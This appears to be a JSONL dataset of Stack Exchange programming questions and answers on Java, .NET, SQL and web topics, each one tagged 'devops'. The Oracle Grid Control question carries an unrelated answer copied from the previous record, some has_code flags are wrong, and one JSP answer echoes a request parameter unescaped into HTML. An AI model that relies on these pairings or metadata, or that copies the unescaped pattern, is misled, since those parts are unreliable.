{"id": "hf_d2abb6f723f9", "question": "<p>I'm using <a href=\"http://www.ddj.com/cpp/184401251?pgno=2\" rel=\"nofollow noreferrer\">Lawrence Philips Double-Metaphone</a> algorithm with great success, but I have found the odd \"unexpected result\" for some combinations.</p>\n\n<p>Does anyone else have additions or changes to the algorithm for other parts of it they wouldn't mind sharing, or just the combinations that they've found that do not work as expected.</p>\n\n<p>eg. I had issues between:</p>\n\n<ul>\n<li>Peashill and Bushley. (both match with PXL)</li>\n<li>Rockliffe and Rockcliffe (RKLF and RKKL)</li>\n</ul>\n", "question_body": "", "answer": "All Soundex, Metaphone and variant schemes are occasionally going to give results that aren't identical to what you expect.  This is unavoidable - they can be regarded as more or less simple hash algorithms with special information preserving properties, and will sometimes produce collisions when you'd rather they didn't, and will sometimes produce differences when you'd rather they didn't.\nOne possible way of improving things is using 'synonym rings'.  This basically produces lists of words that should be regarded as synonyms, independent of the spelling.  I encountered them in the context of name matching.  For example, variants on Chaudri\nincluded:\nCHAUDARY\nCHAUDERI\nCHAUDERY\nCHAUDHARY\nCHAUDHERI\nCHAUDHERY\nCHAUDHRI\nCHAUDHRY\nCHAUDHURI\nCHAUDHURY\nCHAUDHY\nCHAUDREY\nCHAUDRI\nCHAUDRY\nCHAUDURI\nCHAWDHARY\nCHAWDHRY\nCHAWDHURY\nCHDRY\nCHODARY\nCHODHARI\nCHODHOURY\nCHODHRY\nCHODREY\nCHODRY\nCHODURY\nCHOUDARI\nCHOUDARY\nCHOUDERY\nCHOUDHARI\nCHOUDHARY\nCHOUDHERY\nCHOUDHOURY\nCHOUDHRI\nCHOUDHRY\nCHOUDHURI\nCHOUDHURY\nCHOUDREY\nCHOUDRI\nCHOUDRY\nCHOUDURY\nCHOUWDHRY\nCHOWDARI\nCHOWDARY\nCHOWDHARY\nCHOWDHERY\nCHOWDHRI\nCHOWDHRY\nCHOWDHURI\nCHOWDHURRYY\nCHOWDHURY\nCHOWDORY\nCHOWDRAY\nCHOWDREY\nCHOWDRI\nCHOWDRURY\nCHOWDRY\nCHOWDURI\nCHOWDURY\nCHUDARY\nCHUDHRY\nCHUDORY\nCOWDHURY", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.553537"}
{"id": "hf_654f07581330", "question": "<p>As a developer who spent many years working within Visual C++ 6, I'm used to working with the String Table resource to store unicode strings for localization. Is there a resource within Visual Studio 2005 that provides the same? Are there any third party libraries or tools?</p>\n", "question_body": "", "answer": "ResourceManager\nis your friend - and yes, Visual Studio still has support for it all in the editor. You might also want to read \"\nEncoding and Localization\n\". If you're really keen, I can thoroughly recommend\nGuy Smith-Ferrier's book on .NET i18n\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.579059"}
{"id": "hf_561142ecd0ae", "question": "<p>What is the best way to save enums into a database?</p>\n<p>I know Java provides <code>name()</code> and <code>valueOf()</code> methods to convert enum values into a String and back. But are there any other (flexible) options to store these values?</p>\n<p>Is there a smart way to make enums into unique numbers (<code>ordinal()</code> is not safe to use)?</p>\n<h4>Update</h4>\n<p>Thanks for all awesome and fast answers! It was as I suspected.</p>\n<p>However, a note to <a href=\"https://stackoverflow.com/users/3295\">toolkit</a>: That is one way. The problem is that I would have to add the same methods to each enum type that I create. That's a lot of duplicated code and, at the moment, Java does not support any solutions for this (a Java enum cannot extend other classes).</p>\n", "question_body": "", "answer": "I would argue that the only safe mechanism here is to use the String\n```\nname()\n```\nvalue. When writing to the DB, you\ncould\nuse a sproc to insert the value and when reading, use a View. In this manner, if the enums change, there is a level of indirection in the sproc/view to be able to present the data as the enum value without \"imposing\" this on the DB.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.615140"}
{"id": "hf_6d8cf4306ff2", "question": "<p>I have some simple .doc files I made in Word 2007 where I changed the text color and used highlights to compare some similar texts. What I'd like to do is change any instances of green text or gray highlighting to different respective colors for each.</p>\n\n<p>I'm sure there is a simple way to do this with VBA but any other sort of answers are also welcome.</p>\n\n<p>EDIT: While I do appreciate answers, one that allows me to keep the .doc files as .docs is preferred.</p>\n", "question_body": "", "answer": "You can always save the file as HTML, and replace colors there. Color is represented with\n```\n```\n<span style='color:red'>...\n```\n```\nand highlight is\n```\n```\n<span style='background:yellow;mso-highlight:yellow'>...\n```\n```\nShould be easy to manipulate if your document is simple enough.\nEdit that answers the edit in the question: After you are done, re-open the file and save the file back as .doc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.639191"}
{"id": "hf_921b7c898018", "question": "<p>I have a gridview containing some data from db, and after a check I want to see a small cross/tick image in each row, due to the result of the check.How can I change the image url dynamically? </p>\n", "question_body": "", "answer": "```\n```\n<Columns>\n    <asp:TemplateField>\n        <ItemTemplate>\n            <asp:Image ID=\"check\" runat=\"server\" ImageUrl='<%#If(Eval(\"check\") = 1,\"images/checked.gif\",\"images/unchceked.gif\") %>' />\n        </ItemTemplate>\n    </asp:TemplateField>\n</Columns>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.679860"}
{"id": "hf_29f397995a42", "question": "<p>Anyone point my at a utility for syncing sql server logins after restoring a database to a different server?  </p>\n\n<p>I know I can do it with scripts, but I've been using a wonderful little utility - 'Db Maint Sync SQL Logins' (<a href=\"http://www.dbmaint.com/SyncSqlLogins.asp\" rel=\"nofollow noreferrer\">http://www.dbmaint.com/SyncSqlLogins.asp</a>) to do it on sql server 2000 which unfortunately doesn't support 2005 and I'm loath to go back to actually thinking :-)</p>\n", "question_body": "", "answer": "```\nsp_change_users_login\n```\nwith the\n```\nUpdate_One\n```\naction can map a login in a database to a user on a new server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.703072"}
{"id": "hf_43aed8538423", "question": "<p>I have heard mixed opinions over the amount of memory that a byte takes up in a java program.</p>\n\n<p>I am aware you can store no more than +127 in a java byte, and the <a href=\"http://java.sun.com/docs/books/tutorial/java/nutsandbolts/datatypes.html\" rel=\"noreferrer\">documentation</a> says that a byte is only 8 bits but <a href=\"http://www.jguru.com/faq/view.jsp?EID=13647\" rel=\"noreferrer\">here</a> I am told that it actually takes up the same amount of memory as an int, and therefore is just a Type that helps in code comprehension and not efficiency. </p>\n\n<p>Can anyone clear this up, and would this be an implementation specific issue?</p>\n", "question_body": "", "answer": "Java is never implementation or platform specific (at least as far as\nprimitive type sizes\nare concerned).  They primitive types are always guaranteed to stay the same no matter what platform you're on.  This differs from (and was considered an improvement on) C and C++, where some of the primitive types were platform specific.\nSince it's faster for the underlying operating system to address four (or eight, in a 64-bit system) bytes at a time, the JVM may allocate more bytes to store a primitive byte, but you can still only store values from -128 to 127 in it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.732719"}
{"id": "hf_fb56b79dea20", "question": "<p>Can a flash front end talk to a .net backend?</p>\n", "question_body": "", "answer": "Yes.\nWe use\nAdobe Flex\nto talk to .Net XML web services.\nBe careful with complex serialised .Net types (for instance DataSets) - ActionScript can't handle them.\nInstead produce simple XML with primitive types.\nSee also:\nFlex and ADO.NET Data Services...anyone done it?\n```\n```\n<mx:WebService id=\"myDataService\" showBusyCursor=\"true\">\n    <mx:operation name=\"WebMethodName\" resultFormat=\"object\" result=\"functionFiredOnComplete();\"></mx:operation>\n</mx:WebService>\n\npublic function load():void\n{\n    myDataService.loadWSDL( \"web method's wsdl\" );\n    myDataService.WebMethodName.send( params );\n}\n\npublic function functionFiredOnComplete():void\n{           \n    // get data\n    var myData:Object = myDataService.WebMethodName.lastResult;\n    ...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.755654"}
{"id": "hf_3778bab5a172", "question": "<p>What are the dangerous characters that should be replaced in user input when the users' input will be inserted in a MySQL query? I know about quotes, double quotes, \\r and \\n. Are there others?<br><sub>(I don't have the option of using a smart connector that accepts parameters so I have to build the query myself and this will be implemented in multiple programming languages, including some obscure ones so solutions such as <code>mysql_real_escape_string</code> in PHP are not valid)</sub></p>\n", "question_body": "", "answer": "What languages do you need to support? It is much better to use a language's built-in sanitization than to write your own.\nEdit: Looking at\n```\nmysql_real_escape_string\n```\non php.net:\n```\nmysql_real_escape_string()\n```\ncalls MySQL's library function\n```\nmysql_real_escape_string\n```\n, which prepends backslashes to the following characters:\n```\n\\x00\n```\n,\n```\n\\n\n```\n,\n```\n\\r\n```\n,\n```\n\\\n```\n,\n```\n'\n```\n,\n```\n\"\n```\nand\n```\n\\x1a\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.779828"}
{"id": "hf_8d1cb2559480", "question": "<p>Using the following code I get a nice formatted string:</p>\n\n<pre><code>Request.QueryString.ToString \n</code></pre>\n\n<p>Gives me something like: &amp;hello=world&amp;microsoft=sucks</p>\n\n<p>But when I use this code to clone the collection to another object (of the same type) I get the Type() back from the ToString() method instead.</p>\n\n<pre><code>System.Collections.Specialized.NameValueCollection variables = new System.Collections.Specialized.NameValueCollection(Request.QueryString);\nif (!string.IsNullOrEmpty(variables[\"sid\"]))\n    variables.Remove(\"sid\");\nResponse.Write(variables.ToString());\n</code></pre>\n\n<p>Is there a tidier way to output it rather than looking and building the string manually?</p>\n", "question_body": "", "answer": "Why do you want to copy the QueryString collection into a new NameValueCollection?\n```\n```\nif (!string.IsNullOrEmpty(Request.QueryString[\"sid\"]))\n        Request.QueryString.Remove(\"sid\");\n```\n```\nYes indeed, i am wrong, it is read only. So the essence is to use the Remove Method on your NameValuecollection:\n```\n```\nSystem.Collections.Specialized.NameValueCollection variables = new System.Collections.Specialized.NameValueCollection(Request.QueryString);\nif (!string.IsNullOrEmpty(variables[\"sid\"]))\n    variables.Remove(\"sid\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.830698"}
{"id": "hf_1b782883d388", "question": "<p>Is it possible to use <code>request.setAttribute</code> on a JSP page and then on HTML Submit get the same request attribute in the <code>Servlet</code>?</p>\n", "question_body": "", "answer": "No. Unfortunately the Request object is only available until the page finishes loading - once it's complete, you'll lose all values in it unless they've been stored somewhere.\nIf you want to persist attributes through requests you need to either:\nHave a hidden input in your form, such as\n```\n<input type=\"hidden\" name=\"myhiddenvalue\" value=\"<%= request.getParameter(\"value\") %>\" />\n```\n. This will then be available in the servlet as a request parameter.\nPut it in the session (see\n```\nrequest.getSession()\n```\n- in a JSP this is available as simply\n```\nsession\n```\n)\nI recommend using the Session as it's easier to manage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.867591"}
{"id": "hf_3cee98e11008", "question": "<p>How would I reset the primary key counter on a sql table and update each row with a new primary key?</p>\n", "question_body": "", "answer": "I would add another column to the table first, populate that with the new PK.\nThen I'd use update statements to update the new fk fields in all related tables.\nThen you can drop the old PK and old fk fields.\nEDIT:\nYes, as Ian says you will have to drop and then recreate all foreign key constraints.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.952875"}
{"id": "hf_ce076b96b4e3", "question": "<p>I am currently in the process of searching for a rules engine that works in .NET.  Our logic is pretty simple, +, -, *, /, and, or, basic order of operations stuff.  However we are going to need to store this information in the database and then generate the rules file when a new version is pulled from the database.  So the common UI editors are going to be useless to us, unless one of them has a web version UI editor.  </p>\n\n<p>So my question is, given what I have said, which is going to be the best rules engine for us in terms of programmatic configuration and integration with ASP.NET.</p>\n", "question_body": "", "answer": "My experience with WWF has been pretty bad.  Its great for developing a workflow that you know is going to exist (such as \"this document goes to a person's manager, then to HR, if its invalid it goes back to the submitter\") but a real pain if you want dynamic configuration.  As you can tell we tried to use it for a fully configurable system, something that BizTalk does really well, and it looks like MS isn't keen on letting developers replace BizTalk so cheaply.\nWe also looked at using the\nAcumen rules engine and tools\nwhich looked like a great fit for what we needed though we never got the time to remove WWF and replace it.\nI would strongly recommend that if your rules are going to be relatively simple that you either use a rules engine you have the source code to or write it yourself.\nJustin Etheredge\nhas a\ntwo\npart\narticle about performing domain validation through custom rules using the pattern identified in\nDomain-Driven Designs\n(Evans).\nI've implemented a similar system in my current project following the same guidelines and I serialize/deserialize rules from the database.  I will have to take a look at\nDrools.NET\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.976351"}
{"id": "hf_758a17593a2a", "question": "<p>On our Scrum board, tasks start at 'To Do', go to 'In Progress', and when you're done with a task, they move to 'To Verify' before ending up in 'Done'. The 'To Verify' column is when you're done with a task and someone else can have a look at it, test it, and comment on it.</p>\n\n<p>This has proven helpful for errors, better code, etc.</p>\n\n<p>To people who have a similar practice: after the developer has addressed the comments/errors, do you verify it again, or do you assume the issues have been addressed and move the task to 'Done'?</p>\n\n<p>I hope this is clear, and would like to hear your thoughts.</p>\n", "question_body": "", "answer": "In my expirence the fixing of bugs have a 50 - 75% chance of introducing new bugs, especially if the code if not covered by test cases. I would certainly verify it again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.060576"}
{"id": "hf_d10203496b2b", "question": "<p>How do you find out the length/size of the data in an ntext column in SQL? - It's longer than 8000 bytes so I can't cast it to a varchar. Thanks.</p>\n", "question_body": "", "answer": "Use\nDataLength()\n```\n```\nSELECT * FROM YourTable WHERE DataLength(NTextFieldName) > 0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.120581"}
{"id": "hf_83bef9fbd1e7", "question": "<p>We use Grid Control 10.2.0.4, with a catalog repository database also at 10.2.0.4. It seems that after a week or two of being up, the response time of the web interface gets very poor (20+ seconds to navigate to a new page, when normally 2-3 seconds is seen). The only thing we've found to overcome it is a restart of the catalog database and the GC/OMS. No errors reported in the alert log, just unbearable slowness. Are there any Oracle DBA's using GC out there who have seen this (and hopefully found a solution)?  </p>\n", "question_body": "", "answer": "Use\nDataLength()\n```\n```\nSELECT * FROM YourTable WHERE DataLength(NTextFieldName) > 0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.144759"}
{"id": "hf_213df6d73de9", "question": "<p>Related to this <a href=\"https://stackoverflow.com/questions/59075/how-do-i-save-each-sheet-in-an-excel-workbook-to-seperate-csv-files-with-a-macro\">question</a>, how to save many different csv files into one excel workbook with one sheet per csv ? I would like to know how to do this programmatically in Java.  </p>\n", "question_body": "", "answer": "You'll need some form of library for accessing Excel from Java. A Google search turned this one up:\nhttp://j-integra.intrinsyc.com/support/com/doc/excel_example.html\nAn alternative is to use the XML Excel format that came into being with Office 2003. You'll end up with a XML file, but you can open it in Excel and see the different sheets.\nhttp://www.javaworld.com/javaworld/jw-07-2004/jw-0712-officeml.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.169398"}
{"id": "hf_536ee7a28074", "question": "<p>We are moving from regular 2.0 webforms with no testing to TDD MVC </p>\n\n<p>I'm looking to find out all the requirements for making the jump from 2.0 to 3.5 MVC.  </p>\n\n<ul>\n<li>Does SQL Server 2000 work with .net 3.5? </li>\n<li>Does the MVC Framework come with .net 3.5?</li>\n<li>How does AJAX work with all this stuff?</li>\n<li>Is visual studios team suite worth the time/money?</li>\n</ul>\n", "question_body": "", "answer": "ASP.NET MVC is an extension of ASP.NET 3.5, it is still in beta and voices says that it will be available before the end of the year.\nFor your other questions:\n- .NET 3.5 works well on SQL Server 2000\n- The MVC framework is not part of .NET 3.5\n- For using AJAX with ASP.NET MVC it's better if you take a look at JQuery (or other frameworks). The support for ASP.NET Ajax is not fully available.\nIMHO the real advantanges of ASP.NET MVC are:\nTestability\nTestability :-)\nThe ability to generate the HTML that you really want! No viewstate! No other noise! :-)\nBTW the jump to TDD with MVC is not simple...it needs time.\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.205951"}
{"id": "hf_d12b376f0947", "question": "<p>I am trying to manipulate a string using Jython, I have included below an example string:</p>\n\n<p>This would be a title for a website :: SiteName<br />\nThis would be a title for a website :: SiteName :: SiteName</p>\n\n<p>How to remove all instances of \":: Sitename\" or \":: SiteName :: SiteName\"?</p>\n", "question_body": "", "answer": "No different from regular Python:\n```\n```\n>>> str=\"This would be a title for a website :: SiteName\"\n>>> str.replace(\":: SiteName\",\"\")\n'This would be a title for a website '\n>>> str=\"This would be a title for a website :: SiteName :: SiteName\"\n>>> str.replace(\":: SiteName\",\"\")\n'This would be a title for a website '\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.230820"}
{"id": "hf_a83c318d225c", "question": "<p>What is the best way to copy the contents of one stream to another? Is there a standard utility method for this?</p>\n", "question_body": "", "answer": "From .NET 4.5 on, there is the\n```\nStream.CopyToAsync\n```\nmethod\n```\n```\ninput.CopyToAsync(output);\n```\n```\nThis will return a\n```\nTask\n```\nthat can be continued on when completed, like so:\n```\n```\nawait input.CopyToAsync(output)\n\n// Code from here on will be run in a continuation.\n```\n```\nNote that depending on where the call to\n```\nCopyToAsync\n```\nis made, the code that follows may or may not continue on the same thread that called it.\nThe\n```\nSynchronizationContext\n```\nthat was captured when calling\n```\nawait\n```\nwill determine what thread the continuation will be executed on.\nAdditionally, this call (and this is an implementation detail subject to change) still sequences reads and writes (it just doesn't waste a threads blocking on I/O completion).\nFrom .NET 4.0 on, there's is the\n```\nStream.CopyTo\n```\nmethod\n```\n```\ninput.CopyTo(output);\n```\n```\nFor .NET 3.5 and before\nThere isn't anything baked into the framework to assist with this; you have to copy the content manually, like so:\n```\n```\npublic static void CopyStream(Stream input, Stream output)\n{\n    byte[] buffer = new byte[32768];\n    int read;\n    while ((read = input.Read(buffer, 0, buffer.Length)) > 0)\n    {\n        output.Write (buffer, 0, read);\n    }\n}\n```\n```\nNote 1: This method will allow you to report on progress (x bytes read so far ...)\nNote 2: Why use a fixed buffer size and not\n```\ninput.Length\n```\n? Because that Length may not be available! From the\ndocs\n:\nIf a class derived from Stream does not support seeking, calls to Length, SetLength, Position, and Seek throw a NotSupportedException.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.267001"}
{"id": "hf_38c10b46340b", "question": "<p>I've been experimenting with fulltext search lately and am curious about the meaning of the Score value. For example I have the following query:</p>\n\n<pre><code>SELECT table. * ,\nMATCH (\ncol1, col2, col3\n)\nAGAINST (\n'+(Term1) +(Term1)'\n) AS Score\nFROM table\nWHERE MATCH (\ncol1, col2, col3\n) \nAGAINST (\n'+(Term1) +(Term1)'\n)\n</code></pre>\n\n<p>In the results for Score I've seen results, for one query, between 0.4667041301727 to 11.166275978088. I get that it's MySQLs idea of relevance (the higher the more weight).</p>\n\n<p>What I don't get is how MySQL comes up with that score. Why is the number not returned as a decimal or something besides ? </p>\n\n<p>How come if I run a query \"IN BOOLEAN MODE\" does the score always return a 1 or a 0 ? Wouldn't all the results be a 1?</p>\n\n<p>Just hoping for some enlightenment. Thanks.</p>\n", "question_body": "", "answer": "Generally relevance is based on how many matches each row has to the words given to the search.  The exact value will depend on many things, but it really only matters for comparing to other relevance values in the same query.\nIf you really want the math behind it, you can find it at the\ninternals manual\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.292353"}
{"id": "hf_f221a42388d6", "question": "<p>I have a table that was imported as all UPPER CASE and I would like to turn it into Proper Case. What script have any of you used to complete this?</p>\n", "question_body": "", "answer": "Here's a UDF that will do the trick...\n```\n```\ncreate function ProperCase(@Text as varchar(8000))\nreturns varchar(8000)\nas\nbegin\n  declare @Reset bit;\n  declare @Ret varchar(8000);\n  declare @i int;\n  declare @c char(1);\n\n  if @Text is null\n    return null;\n\n  select @Reset = 1, @i = 1, @Ret = '';\n\n  while (@i <= len(@Text))\n    select @c = substring(@Text, @i, 1),\n      @Ret = @Ret + case when @Reset = 1 then UPPER(@c) else LOWER(@c) end,\n      @Reset = case when @c like '[a-zA-Z]' then 0 else 1 end,\n      @i = @i + 1\n  return @Ret\nend\n```\n```\nYou will still have to use it to update your data though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.316785"}
{"id": "hf_2ac85387c3eb", "question": "<p>I am trying to aid another programmer with a page called Default.aspx with a code-behind section, and unfortunately I am at a bit of a loss.</p>\n\n<pre><code> Partial Class _Default\n Inherits OverheadClass\n 'A bunch of global variables here'\n\n Private Sub page_load(ByVal sender As Object, ByVal e As System.Eventarts) Handles Me.Load\n 'Function goes here'\n</code></pre>\n\n<p>And in the OverheadClass we have</p>\n\n<pre><code> Public Sub Sub_OverheadClass_Load(ByVal sender As Object, ByVal e as System.EventArgs) Handles MyClass.Load\n</code></pre>\n\n<p>The desired effect is when the OverheadClass is inherited, we want its load to run before the load event on the page runs.  There is probably a very simple answer to this that I am missing.</p>\n\n<p>Edit: I forgot to note that we write in VB, and not C# as many of you are used to for ASP.</p>\n", "question_body": "", "answer": "You should be able to override the OnLoad and call the base class's OnLoad first, then your class, for example:\nC# Version\n```\n```\nprotected override void OnLoad(EventArgs e)\n{\n    base.OnLoad(e);\n\n    // Do some stuff here\n}\n```\n```\nVB Version\n```\n```\nProtected Overrides Sub OnLoad(ByVal e As System.EventArgs)\n\n    MyBase.OnLoad(e)\n\n    ' Do some stuff here\n\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.353272"}
{"id": "hf_c7df9f36680a", "question": "<p>I know that you can run almost all Java in <em>Dalvik's VM</em> that you can in <em>Java's VM</em> but the limitations are not very clear.  Has anyone run into any major stumbling blocks?  Any major libraries having trouble?  Any languages that compile to Java byte code (<strong>Scala</strong>, <strong>Jython</strong> etc...) not work as expected?  </p>\n", "question_body": "", "answer": "There is a number of things that Dalvik will not handle or will not handle quite the same way as standard Java bytecode, though most of them are quite advanced.\nThe\nmost severe example is runtime bytecode generation\nand custom class loading. Let's say you would like to create some bytecode and then use classloader to load it for you, if that trick works on your normal machine, it is guaranteed to not work on Dalvik, unless you change your bytecode generation.\nThat prevents you from using certain dependency injection frameworks, most known example being Google Guice (though I am sure some people work on that). On the other hand AspectJ should work as it uses bytecode instrumentation as a compilation step (though I don't know if anyone tried).\nAs to other jvm languages -- anything that in the end compiles to standard bytecode and does not use bytecode instrumentation at runtime can be converted to Dalvik and should work. I know people did run Jython on Android and it worked ok.\nOther thing to be aware of is that there is\nno just in time compilation\n. This is not strictly Dalviks problem (you can always compile any bytecode on the fly if you wish) but that Android does not support that and is unlikely to do so. In the effect while microbenchmarking for standard Java was useless -- components had different runtime characterstics in tests than as parts of larger systems -- microbenchmarks for Android phones totally make sense.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.377335"}
{"id": "hf_afa7cce5d419", "question": "<p>I have a page that is supposed to launch the Print Preview page onload.</p>\n\n<p>I found this:</p>\n\n<pre><code>var OLECMDID = 7;\n/* OLECMDID values:\n* 6 - print\n* 7 - print preview\n* 1 - open window\n* 4 - Save As\n*/\nvar PROMPT = 1; // 2 DONTPROMPTUSER\nvar WebBrowser = '&lt;OBJECT ID=\"WebBrowser1\" WIDTH=0 HEIGHT=0 CLASSID=\"CLSID:8856F961-340A-11D0-A96B-00C04FD705A2\"&gt;&lt;/OBJECT&gt;';\ndocument.body.insertAdjacentHTML('beforeEnd', WebBrowser);\nWebBrowser1.ExecWB(OLECMDID, PROMPT);\nWebBrowser1.outerHTML = \"\";\n</code></pre>\n\n<p>But...</p>\n\n<ol>\n<li>it does not work in FireFox.</li>\n<li>it's kind of ugly.</li>\n</ol>\n\n<p>Is there a better way for IE or a way that works for FireFox?</p>\n", "question_body": "", "answer": "You can't, Print Preview is a feature of a browser, and therefore should be protected from being called by JavaScript as it would be a security risk.\nThat's why your example uses Active X, which bypasses the JavaScript security issues.\nSo instead use the print stylesheet that you already should have and show it for media=screen,print instead of media=print.\nRead\nAlist Apart: Going to Print\nfor a good article on the subject of print stylesheets.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.426529"}
{"id": "hf_558870e90d00", "question": "<p>near the top of the code i see things like, </p>\n\n<p>btn_dropdown._visible = false;\nmcMenuBkg._visible = false;</p>\n\n<p>but I can't find these assets anywhere in the library or in any code, how does this make any sense?</p>\n\n<p>The movie clips in the library that look the same have different names and I can delete them entirely and they still show up when I compile and run, or I can add trace statements into their code and they never get called.</p>\n\n<p>where on earth are these assets defined?</p>\n", "question_body": "", "answer": "You can create movie clips with code dynamically.\nThis means that you may not have them in your assets if you are unable to find them.\nYou can create any type of symbol using a constructor out of thin air with actionscript alone.\nI would search the code for one of these\n```\n```\nvar mybutton:SimpleButton=new SimpleButton();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:56.462902"}
